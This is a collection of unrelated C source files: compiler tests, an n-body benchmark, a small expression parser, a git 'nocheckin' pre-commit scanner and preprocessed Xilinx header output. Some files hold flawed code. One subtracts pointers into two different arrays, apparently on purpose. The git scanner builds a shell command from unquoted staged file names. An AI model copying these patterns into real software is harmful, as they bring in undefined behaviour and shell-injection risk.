// CHECK-32: {{.*}} call { i32, i32, i32, i32 } asm "cpuid", "={ax},={bx},={cx},={dx},0,~{dirflag},~{fpsr},~{flags}"(i32 %{{[a-z0-9]+}})
// CHECK-32: {{.*}} call { i32, i32, i32, i32 } asm "cpuid", "={ax},={bx},={cx},={dx},0,2,~{dirflag},~{fpsr},~{flags}"(i32 %{{[a-z0-9]+}}, i32 %{{[a-z0-9]+}})
unsigned eax0, ebx0, ecx0, edx0;
unsigned eax1, ebx1, ecx1, edx1;
void test_cpuid(unsigned level, unsigned count) {
__cpuid(level, eax1, ebx1, ecx1, edx1);
__cpuid_count(level, count, eax0, ebx0, ecx0, edx0);
}
|
the_stack_data/856488.c | /*
* Copyright (C) 2011-2016 Intel Corporation. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
* * Neither the name of Intel Corporation nor the names of its
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/
#include <math.h>
#include <float.h>
#if (LDBL_MANT_DIG > DBL_MANT_DIG)
long double pow10l(long double x)
{
return powl(10, x);
}
#endif
|
the_stack_data/15763687.c | /* Origin: PR c++/44108 */
/* { dg-options "-Wunused" } */
/* { dg-do compile } */
/* { dg-require-effective-target alloca } */
int
foo ()
{
unsigned int M = 2;
const unsigned int M_CONST = 2;
static unsigned int M_STATIC = 2;
static const unsigned int M_STATIC_CONST = 2;
char n1[M];
char n2[M_CONST];
char n3[M_STATIC];
char n4[M_STATIC_CONST];
return sizeof (n1) + sizeof (n2) + sizeof (n3) + sizeof (n4);
}
|
the_stack_data/225142362.c | /*Retirer 2 iΓ©me boucle dans move particle
* retirer un accès au tableau
* retirer la puissance pour un x*x*x
*
*/
#include <omp.h>
#include <math.h>
#include <stdio.h>
#include <stdlib.h>
//
typedef float f32;
typedef double f64;
typedef unsigned long long u64;
//
typedef struct particle_s {
f32 *x, *y, *z;
f32 *vx, *vy, *vz;
} particle_t;
//
void init(particle_t *p, u64 n)
{
p->vx = malloc(sizeof(f32) * n);
p->vy = malloc(sizeof(f32) * n);
p->vz = malloc(sizeof(f32) * n);
p->x = malloc(sizeof(f32) * n);
p->y = malloc(sizeof(f32) * n);
p->z = malloc(sizeof(f32) * n);
for (u64 i = 0; i < n; i++)
{
//
u64 r1 = (u64)rand();
u64 r2 = (u64)rand();
f32 sign = (r1 > r2) ? 1 : -1;
//
p->x[i] = sign * (f32)rand() / (f32)RAND_MAX;
p->y[i] = (f32)rand() / (f32)RAND_MAX;
p->z[i] = sign * (f32)rand() / (f32)RAND_MAX;
//
p->vx[i] = (f32)rand() / (f32)RAND_MAX;
p->vy[i] = sign * (f32)rand() / (f32)RAND_MAX;
p->vz[i] = (f32)rand() / (f32)RAND_MAX;
}
}
//
void move_particles(particle_t *p, const f32 dt,const u64 n)
{
//
const f32 softening = 1e-20;
//
for (u64 i = 0; i < n; ++i)
{
//
register f32 fx = 0.0;
register f32 fy = 0.0;
register f32 fz = 0.0;
const f32 dxi = p->x[i];
const f32 dyi = p->y[i];
const f32 dzi = p->z[i];
//23 floating-point operations
for (u64 j = 0; j < n; ++j)
{
//Newton's law
const f32 dx = p->x[j] - dxi; //1
const f32 dy = p->y[j] - dyi; //2
const f32 dz = p->z[j] - dzi; //3
const f32 d_2 = (dx * dx) + (dy * dy) + (dz * dz) + softening; //9
const f32 test = sqrt(d_2); // 10
const f32 d_3_over_2 = test*test*test; // 12
//Net force
fx += dx / d_3_over_2; //14
fy += dy / d_3_over_2; //16
fz += dz / d_3_over_2; //18
}
//
register f32 vx = dt * fx; //19
register f32 vy = dt * fy; //20
register f32 vz = dt * fz; //21
p->vx[i] += vx; //22
p->vy[i] += vy; //23
p->vz[i] += vz; //24
}
for (u64 i = 0; i < n; i++)
{
p->x[i] += dt * p->vx[i];
p->y[i] += dt * p->vy[i];
p->z[i] += dt * p->vz[i];
// printf("%f %f %f\n",p->x[i],p->y[i],p->z[i]);
}
}
//
int main(int argc, char **argv)
{
// srand(0);
//
const u64 n = (argc > 1) ? atoll(argv[1]) : 16384;
const u64 steps= 10;
const f32 dt = 0.01;
//
f64 rate = 0.0, drate = 0.0;
//Steps to skip for warm up
const u64 warmup = 3;
//
particle_t p ;
//
init(&p, n);
const u64 s = sizeof(f32) * n * 6;
printf("\n\033[1mTotal memory size:\033[0m %llu B, %llu KiB, %llu MiB\n\n", s, s >> 10, s >> 20);
//
printf("\033[1m%5s %10s %10s %8s\033[0m\n", "Step", "Time, s", "Interact/s", "GFLOP/s"); fflush(stdout);
//
for (u64 i = 0; i < steps; i++)
{
//Measure
const f64 start = omp_get_wtime();
move_particles(&p, dt, n);
const f64 end = omp_get_wtime();
//Number of interactions/iterations
const f32 h1 = (f32)(n) * (f32)(n - 1);
//GFLOPS
const f32 h2 = (24.0 * h1+ 6 * (f32)n ) * 1e-9;
if (i >= warmup)
{
rate += h2 / (end - start);
drate += (h2 * h2) / ((end - start) * (end - start));
}
//
printf("%5llu %10.3e %10.3e %8.1f %s\n",
i,
(end - start),
h1 / (end - start),
h2 / (end - start),
(i < warmup) ? "*" : "");
fflush(stdout);
}
//
rate /= (f64)(steps - warmup);
drate = sqrt(drate / (f64)(steps - warmup) - (rate * rate));
printf("-----------------------------------------------------\n");
printf("\033[1m%s %4s \033[42m%10.1lf +- %.1lf GFLOP/s\033[0m\n",
"Average performance:", "", rate, drate);
printf("-----------------------------------------------------\n");
//
free(p.vx);
free(p.vy);
free(p.vz);
free(p.x);
free(p.y);
free(p.z);
//
return 0;
}
|
the_stack_data/505178.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv) {
char string1[] = "name:bob";
char string2[] = "age:50";
char *separator1;
size_t indexOfSeparator1;
separator1 = strchr(string1, ':');
if (separator1 == NULL) {
exit(1);
}
indexOfSeparator1 = (size_t)(separator1 - string2);
printf("Index of seperator in string1: %zu\n", indexOfSeparator1);
return 0;
}
|
the_stack_data/143454.c | #include <stdio.h>
#include <ctype.h>
#include <string.h>
char input[10];
char buffer = sizeof(input);
int lp = 0, error = 0;
void E();
void _E(); // E'
void T();
void _T(); // T'
void F();
void main()
{
printf("Enter an arithmetic [w/ only + or *] expression (w/o spaces): ");
fgets(input, buffer, stdin);
input[strcspn(input, "\n")] = 0; // remove extra '\n' from input
//printf("%ld\n", strlen(input));
E();
//printf("%d : %ld\n", lp, strlen(input));
if (strlen(input) == lp && error == 0)
printf("Accepted\n");
else
printf("Rejected\n");
}
void E() // E --> TE'
{
T();
_E();
}
void _E() // E' --> +TE' | e
{
if (input[lp] == '+')
{
lp++;
T();
_E();
}
}
void T() // T --> FT'
{
F();
_T();
}
void _T() // T' --> *FT' | e
{
if (input[lp] == '*') // cheating: goes beyond bonds
{
lp++;
F();
_T();
}
}
void F() // F --> (E) | val
{
if (input[lp] == '(')
{
lp++;
E();
if (input[lp] == ')')
lp++;
}
else if (isalpha(input[lp]))
{
lp++;
/*while (isalnum(input[lp]) || input[lp] == '_') // This is dangerous as it goes out of bounds!
{
lp++;
printf("%d", lp);
}*/
}
else
error = 1;
} |
the_stack_data/891688.c |
#include <stdio.h>
#include <limits.h>
int main()
{
printf("int εε¨ε€§ε° : %lu \n", sizeof(int));
return 0;
}
|
the_stack_data/11075060.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
const static char match_string[] = "no" "checkin";
#define Array_Count(a) ((sizeof(a))/(sizeof(*a)))
#define Assert(Condition, ErrorText1, ErrorText2) do{\
if (!(Condition)){\
printf("%s%s\n", ErrorText1, ErrorText2);\
exit(1);\
}}while(0)
#if _MSC_VER
#define Open_Pipe(Command, Mode) _popen(Command, Mode)
#define Close_Pipe(Handle) _pclose(Handle)
#else
#define Open_Pipe(Command, Mode) popen(Command, Mode)
#define Close_Pipe(Handle) pclose(Handle)
#endif
int main()
{
int match_length = (int)strlen(match_string);
int match_found = 0;
char *git_list_command = "git diff --name-only --staged";
FILE *git_list_query = Open_Pipe(git_list_command, "r");
Assert(git_list_query, "Failed to execute command: ", git_list_command);
char path[4096];
while (fgets(path, sizeof(path), git_list_query) != 0)
{
char *new_line = strstr(path, "\n");
if (new_line) { *new_line = 0; }
//printf("[path] \"%s\"\n", path);
char git_content_command[4096 + 256];
snprintf(git_content_command, sizeof(git_content_command), "git show :%s", path);
FILE *git_content = Open_Pipe(git_content_command, "r");
Assert(git_content, "Failed to execute command: ", git_content_command);
// NOTE: This search method won't work for strings
// that repeat their starting character - like: "noncheck"
int line = 1;
int column = 1;
int matched = 0;
for (int c = fgetc(git_content);
c != EOF;
c = fgetc(git_content))
{
if (c == match_string[matched])
{
++matched;
if (matched == match_length)
{
printf("[%s found] File: %s; Line: %d; Column: %d\n",
match_string, path, line, column-matched+1);
matched = 0;
match_found = 1;
}
}
else
{
matched = 0;
if (c == match_string[matched])
{
++matched;
}
else if (c == '\n')
{
column = 0;
++line;
}
}
if ((c & 0xc0) != 0x80) // NOTE: Count unicode characters
{
++column;
}
}
Close_Pipe(git_content);
}
Close_Pipe(git_list_query);
return match_found;
} |
the_stack_data/141907.c | #1 "fir.c"
#1 "fir.c" 1
#1 "<built-in>" 1
#1 "<built-in>" 3
#148 "<built-in>" 3
#1 "<command line>" 1
#1 "C:/Xilinx/Vivado_HLS/2017.2/common/technology/autopilot\\etc/autopilot_ssdm_op.h" 1
/* autopilot_ssdm_op.h*/
/*
#- (c) Copyright 2011-2017 Xilinx, Inc. All rights reserved.
#-
#- This file contains confidential and proprietary information
#- of Xilinx, Inc. and is protected under U.S. and
#- international copyright and other intellectual property
#- laws.
#-
#- DISCLAIMER
#- This disclaimer is not a license and does not grant any
#- rights to the materials distributed herewith. Except as
#- otherwise provided in a valid license issued to you by
#- Xilinx, and to the maximum extent permitted by applicable
#- law: (1) THESE MATERIALS ARE MADE AVAILABLE "AS IS" AND
#- WITH ALL FAULTS, AND XILINX HEREBY DISCLAIMS ALL WARRANTIES
#- AND CONDITIONS, EXPRESS, IMPLIED, OR STATUTORY, INCLUDING
#- BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, NON-
#- INFRINGEMENT, OR FITNESS FOR ANY PARTICULAR PURPOSE; and
#- (2) Xilinx shall not be liable (whether in contract or tort,
#- including negligence, or under any other theory of
#- liability) for any loss or damage of any kind or nature
#- related to, arising under or in connection with these
#- materials, including for any direct, or any indirect,
#- special, incidental, or consequential loss or damage
#- (including loss of data, profits, goodwill, or any type of
#- loss or damage suffered as a result of any action brought
#- by a third party) even if such damage or loss was
#- reasonably foreseeable or Xilinx had been advised of the
#- possibility of the same.
#-
#- CRITICAL APPLICATIONS
#- Xilinx products are not designed or intended to be fail-
#- safe, or for use in any application requiring fail-safe
#- performance, such as life-support or safety devices or
#- systems, Class III medical devices, nuclear facilities,
#- applications related to the deployment of airbags, or any
#- other applications that could lead to death, personal
#- injury, or severe property or environmental damage
#- (individually and collectively, "Critical
#- Applications"). Customer assumes the sole risk and
#- liability of any use of Xilinx products in Critical
#- Applications, subject only to applicable laws and
#- regulations governing limitations on product liability.
#-
#- THIS COPYRIGHT NOTICE AND DISCLAIMER MUST BE RETAINED AS
#- PART OF THIS FILE AT ALL TIMES.
#- ************************************************************************
*
* $Id$
*/
#289 "C:/Xilinx/Vivado_HLS/2017.2/common/technology/autopilot\\etc/autopilot_ssdm_op.h"
/*#define AP_SPEC_ATTR __attribute__ ((pure))*/
/****** SSDM Intrinsics: OPERATIONS ***/
// Interface operations
//typedef unsigned int __attribute__ ((bitwidth(1))) _uint1_;
void _ssdm_op_IfRead() __attribute__ ((nothrow));
void _ssdm_op_IfWrite() __attribute__ ((nothrow));
//_uint1_ _ssdm_op_IfNbRead() SSDM_OP_ATTR;
//_uint1_ _ssdm_op_IfNbWrite() SSDM_OP_ATTR;
//_uint1_ _ssdm_op_IfCanRead() SSDM_OP_ATTR;
//_uint1_ _ssdm_op_IfCanWrite() SSDM_OP_ATTR;
// Stream Intrinsics
void _ssdm_StreamRead() __attribute__ ((nothrow));
void _ssdm_StreamWrite() __attribute__ ((nothrow));
//_uint1_ _ssdm_StreamNbRead() SSDM_OP_ATTR;
//_uint1_ _ssdm_StreamNbWrite() SSDM_OP_ATTR;
//_uint1_ _ssdm_StreamCanRead() SSDM_OP_ATTR;
//_uint1_ _ssdm_StreamCanWrite() SSDM_OP_ATTR;
// Misc
void _ssdm_op_MemShiftRead() __attribute__ ((nothrow));
void _ssdm_op_Wait() __attribute__ ((nothrow));
void _ssdm_op_Poll() __attribute__ ((nothrow));
void _ssdm_op_Return() __attribute__ ((nothrow));
/* SSDM Intrinsics: SPECIFICATIONS */
void _ssdm_op_SpecSynModule() __attribute__ ((nothrow));
void _ssdm_op_SpecTopModule() __attribute__ ((nothrow));
void _ssdm_op_SpecProcessDecl() __attribute__ ((nothrow));
void _ssdm_op_SpecProcessDef() __attribute__ ((nothrow));
void _ssdm_op_SpecPort() __attribute__ ((nothrow));
void _ssdm_op_SpecConnection() __attribute__ ((nothrow));
void _ssdm_op_SpecChannel() __attribute__ ((nothrow));
void _ssdm_op_SpecSensitive() __attribute__ ((nothrow));
void _ssdm_op_SpecModuleInst() __attribute__ ((nothrow));
void _ssdm_op_SpecPortMap() __attribute__ ((nothrow));
void _ssdm_op_SpecReset() __attribute__ ((nothrow));
void _ssdm_op_SpecPlatform() __attribute__ ((nothrow));
void _ssdm_op_SpecClockDomain() __attribute__ ((nothrow));
void _ssdm_op_SpecPowerDomain() __attribute__ ((nothrow));
int _ssdm_op_SpecRegionBegin() __attribute__ ((nothrow));
int _ssdm_op_SpecRegionEnd() __attribute__ ((nothrow));
void _ssdm_op_SpecLoopName() __attribute__ ((nothrow));
void _ssdm_op_SpecLoopTripCount() __attribute__ ((nothrow));
int _ssdm_op_SpecStateBegin() __attribute__ ((nothrow));
int _ssdm_op_SpecStateEnd() __attribute__ ((nothrow));
void _ssdm_op_SpecInterface() __attribute__ ((nothrow));
void _ssdm_op_SpecPipeline() __attribute__ ((nothrow));
void _ssdm_op_SpecDataflowPipeline() __attribute__ ((nothrow));
void _ssdm_op_SpecLatency() __attribute__ ((nothrow));
void _ssdm_op_SpecParallel() __attribute__ ((nothrow));
void _ssdm_op_SpecProtocol() __attribute__ ((nothrow));
void _ssdm_op_SpecOccurrence() __attribute__ ((nothrow));
void _ssdm_op_SpecResource() __attribute__ ((nothrow));
void _ssdm_op_SpecResourceLimit() __attribute__ ((nothrow));
void _ssdm_op_SpecCHCore() __attribute__ ((nothrow));
void _ssdm_op_SpecFUCore() __attribute__ ((nothrow));
void _ssdm_op_SpecIFCore() __attribute__ ((nothrow));
void _ssdm_op_SpecIPCore() __attribute__ ((nothrow));
void _ssdm_op_SpecKeepValue() __attribute__ ((nothrow));
void _ssdm_op_SpecMemCore() __attribute__ ((nothrow));
void _ssdm_op_SpecExt() __attribute__ ((nothrow));
/*void* _ssdm_op_SpecProcess() SSDM_SPEC_ATTR;
void* _ssdm_op_SpecEdge() SSDM_SPEC_ATTR; */
/* Presynthesis directive functions */
void _ssdm_SpecArrayDimSize() __attribute__ ((nothrow));
void _ssdm_RegionBegin() __attribute__ ((nothrow));
void _ssdm_RegionEnd() __attribute__ ((nothrow));
void _ssdm_Unroll() __attribute__ ((nothrow));
void _ssdm_UnrollRegion() __attribute__ ((nothrow));
void _ssdm_InlineAll() __attribute__ ((nothrow));
void _ssdm_InlineLoop() __attribute__ ((nothrow));
void _ssdm_Inline() __attribute__ ((nothrow));
void _ssdm_InlineSelf() __attribute__ ((nothrow));
void _ssdm_InlineRegion() __attribute__ ((nothrow));
void _ssdm_SpecArrayMap() __attribute__ ((nothrow));
void _ssdm_SpecArrayPartition() __attribute__ ((nothrow));
void _ssdm_SpecArrayReshape() __attribute__ ((nothrow));
void _ssdm_SpecStream() __attribute__ ((nothrow));
void _ssdm_SpecExpr() __attribute__ ((nothrow));
void _ssdm_SpecExprBalance() __attribute__ ((nothrow));
void _ssdm_SpecDependence() __attribute__ ((nothrow));
void _ssdm_SpecLoopMerge() __attribute__ ((nothrow));
void _ssdm_SpecLoopFlatten() __attribute__ ((nothrow));
void _ssdm_SpecLoopRewind() __attribute__ ((nothrow));
void _ssdm_SpecFuncInstantiation() __attribute__ ((nothrow));
void _ssdm_SpecFuncBuffer() __attribute__ ((nothrow));
void _ssdm_SpecFuncExtract() __attribute__ ((nothrow));
void _ssdm_SpecConstant() __attribute__ ((nothrow));
void _ssdm_DataPack() __attribute__ ((nothrow));
void _ssdm_SpecDataPack() __attribute__ ((nothrow));
void _ssdm_op_SpecBitsMap() __attribute__ ((nothrow));
void _ssdm_op_SpecLicense() __attribute__ ((nothrow));
/*#define _ssdm_op_WaitUntil(X) while (!(X)) _ssdm_op_Wait(1);
#define _ssdm_op_Delayed(X) X */
#427 "C:/Xilinx/Vivado_HLS/2017.2/common/technology/autopilot\\etc/autopilot_ssdm_op.h"
// 67d7842dbbe25473c3c32b93c0da8047785f30d78e8a024de1b57352245f9689
#7 "<command line>" 2
#1 "<built-in>" 2
#1 "fir.c" 2
#1 "./fir.h" 1
#1 "C:/Xilinx/Vivado_HLS/2017.2/common/technology/autopilot\\ap_cint.h" 1
/* ap_cint.h */
/*
#- (c) Copyright 2011-2017 Xilinx, Inc. All rights reserved.
#-
#- This file contains confidential and proprietary information
#- of Xilinx, Inc. and is protected under U.S. and
#- international copyright and other intellectual property
#- laws.
#-
#- DISCLAIMER
#- This disclaimer is not a license and does not grant any
#- rights to the materials distributed herewith. Except as
#- otherwise provided in a valid license issued to you by
#- Xilinx, and to the maximum extent permitted by applicable
#- law: (1) THESE MATERIALS ARE MADE AVAILABLE "AS IS" AND
#- WITH ALL FAULTS, AND XILINX HEREBY DISCLAIMS ALL WARRANTIES
#- AND CONDITIONS, EXPRESS, IMPLIED, OR STATUTORY, INCLUDING
#- BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, NON-
#- INFRINGEMENT, OR FITNESS FOR ANY PARTICULAR PURPOSE; and
#- (2) Xilinx shall not be liable (whether in contract or tort,
#- including negligence, or under any other theory of
#- liability) for any loss or damage of any kind or nature
#- related to, arising under or in connection with these
#- materials, including for any direct, or any indirect,
#- special, incidental, or consequential loss or damage
#- (including loss of data, profits, goodwill, or any type of
#- loss or damage suffered as a result of any action brought
#- by a third party) even if such damage or loss was
#- reasonably foreseeable or Xilinx had been advised of the
#- possibility of the same.
#-
#- CRITICAL APPLICATIONS
#- Xilinx products are not designed or intended to be fail-
#- safe, or for use in any application requiring fail-safe
#- performance, such as life-support or safety devices or
#- systems, Class III medical devices, nuclear facilities,
#- applications related to the deployment of airbags, or any
#- other applications that could lead to death, personal
#- injury, or severe property or environmental damage
#- (individually and collectively, "Critical
#- Applications"). Customer assumes the sole risk and
#- liability of any use of Xilinx products in Critical
#- Applications, subject only to applicable laws and
#- regulations governing limitations on product liability.
#-
#- THIS COPYRIGHT NOTICE AND DISCLAIMER MUST BE RETAINED AS
#- PART OF THIS FILE AT ALL TIMES.
#- ************************************************************************
*
* $Id$
*/
#62 "C:/Xilinx/Vivado_HLS/2017.2/common/technology/autopilot\\ap_cint.h"
#1 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\string.h" 1 3
/**
* This file has no copyright assigned and is placed in the Public Domain.
* This file is part of the w64 mingw-runtime package.
* No warranty is given; refer to the file DISCLAIMER.PD within this package.
*/
#1 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 1 3
/**
* This file has no copyright assigned and is placed in the Public Domain.
* This file is part of the w64 mingw-runtime package.
* No warranty is given; refer to the file DISCLAIMER.PD within this package.
*/
#1 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include/_mingw_mac.h" 1 3
/**
* This file has no copyright assigned and is placed in the Public Domain.
* This file is part of the w64 mingw-runtime package.
* No warranty is given; refer to the file DISCLAIMER.PD within this package.
*/
#18 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include/_mingw_mac.h" 3
/* mingw.org's version macros: these make gcc to define
MINGW32_SUPPORTS_MT_EH and to use the _CRT_MT global
and the __mingwthr_key_dtor() function from the MinGW
CRT in its private gthr-win32.h header. */
#47 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include/_mingw_mac.h" 3
/* For 32-bits we have always to prefix by underscore. */
#62 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include/_mingw_mac.h" 3
/* Use alias for msvcr80 export of get/set_output_format. */
/* Set VC specific compiler target macros. */
#79 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include/_mingw_mac.h" 3
/* This gives wrong (600 instead of 300) value if -march=i386 is specified
but we cannot check for__i386__ as it is defined for all 32-bit CPUs. */
#10 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 2 3
/* C/C++ specific language defines. */
#32 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 3
/* Note the extern. This is needed to work around GCC's
limitations in handling dllimport attribute. */
#147 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 3
/* Attribute `nonnull' was valid as of gcc 3.3. We don't use GCC's
variadiac macro facility, because variadic macros cause syntax
errors with --traditional-cpp. */
#225 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 3
/* High byte is the major version, low byte is the minor. */
#277 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 3
#1 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\vadefs.h" 1 3
/**
* This file has no copyright assigned and is placed in the Public Domain.
* This file is part of the w64 mingw-runtime package.
* No warranty is given; refer to the file DISCLAIMER.PD within this package.
*/
#1 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 1 3
/**
* This file has no copyright assigned and is placed in the Public Domain.
* This file is part of the w64 mingw-runtime package.
* No warranty is given; refer to the file DISCLAIMER.PD within this package.
*/
#674 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 3
#1 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include/sdks/_mingw_directx.h" 1 3
#674 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 2 3
#1 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include/sdks/_mingw_ddk.h" 1 3
#675 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 2 3
#13 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\vadefs.h" 2 3
#pragma pack(push,_CRT_PACKING)
typedef __builtin_va_list __gnuc_va_list;
typedef __gnuc_va_list va_list;
#46 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\vadefs.h" 3
/* Use GCC builtins */
#102 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\vadefs.h" 3
#pragma pack(pop)
#277 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 2 3
#pragma pack(push,_CRT_PACKING)
#316 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 3
/* We have to define _DLL for gcc based mingw version. This define is set
by VC, when DLL-based runtime is used. So, gcc based runtime just have
DLL-base runtime, therefore this define has to be set.
As our headers are possibly used by windows compiler having a static
C-runtime, we make this definition gnu compiler specific here. */
#372 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 3
typedef unsigned int size_t;
#382 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 3
typedef int ssize_t;
#394 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 3
typedef int intptr_t;
#407 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 3
typedef unsigned int uintptr_t;
#420 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 3
typedef int ptrdiff_t;
typedef unsigned short wchar_t;
typedef unsigned short wint_t;
typedef unsigned short wctype_t;
#456 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 3
typedef int errno_t;
typedef long __time32_t;
__extension__ typedef long long __time64_t;
typedef __time32_t time_t;
#518 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 3
/* _dowildcard is an int that controls the globbing of the command line.
* The MinGW32 (mingw.org) runtime calls it _CRT_glob, so we are adding
* a compatibility definition here: you can use either of _CRT_glob or
* _dowildcard .
* If _dowildcard is non-zero, the command line will be globbed: *.*
* will be expanded to be all files in the startup directory.
* In the mingw-w64 library a _dowildcard variable is defined as being
* 0, therefore command line globbing is DISABLED by default. To turn it
* on and to leave wildcard command line processing MS's globbing code,
* include a line in one of your source modules defining _dowildcard and
* setting it to -1, like so:
* int _dowildcard = -1;
*/
#605 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 3
/* MSVC-isms: */
struct threadlocaleinfostruct;
struct threadmbcinfostruct;
typedef struct threadlocaleinfostruct *pthreadlocinfo;
typedef struct threadmbcinfostruct *pthreadmbcinfo;
struct __lc_time_data;
typedef struct localeinfo_struct {
pthreadlocinfo locinfo;
pthreadmbcinfo mbcinfo;
} _locale_tstruct,*_locale_t;
typedef struct tagLC_ID {
unsigned short wLanguage;
unsigned short wCountry;
unsigned short wCodePage;
} LC_ID,*LPLC_ID;
typedef struct threadlocaleinfostruct {
int refcount;
unsigned int lc_codepage;
unsigned int lc_collate_cp;
unsigned long lc_handle[6];
LC_ID lc_id[6];
struct {
char *locale;
wchar_t *wlocale;
int *refcount;
int *wrefcount;
} lc_category[6];
int lc_clike;
int mb_cur_max;
int *lconv_intl_refcount;
int *lconv_num_refcount;
int *lconv_mon_refcount;
struct lconv *lconv;
int *ctype1_refcount;
unsigned short *ctype1;
const unsigned short *pctype;
const unsigned char *pclmap;
const unsigned char *pcumap;
struct __lc_time_data *lc_time_curr;
} threadlocinfo;
/* mingw-w64 specific functions: */
const char *__mingw_get_crt_info (void);
#pragma pack(pop)
#9 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\string.h" 2 3
#36 "C:/Xilinx/Vivado_HLS/2017.2/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\string.h" 3
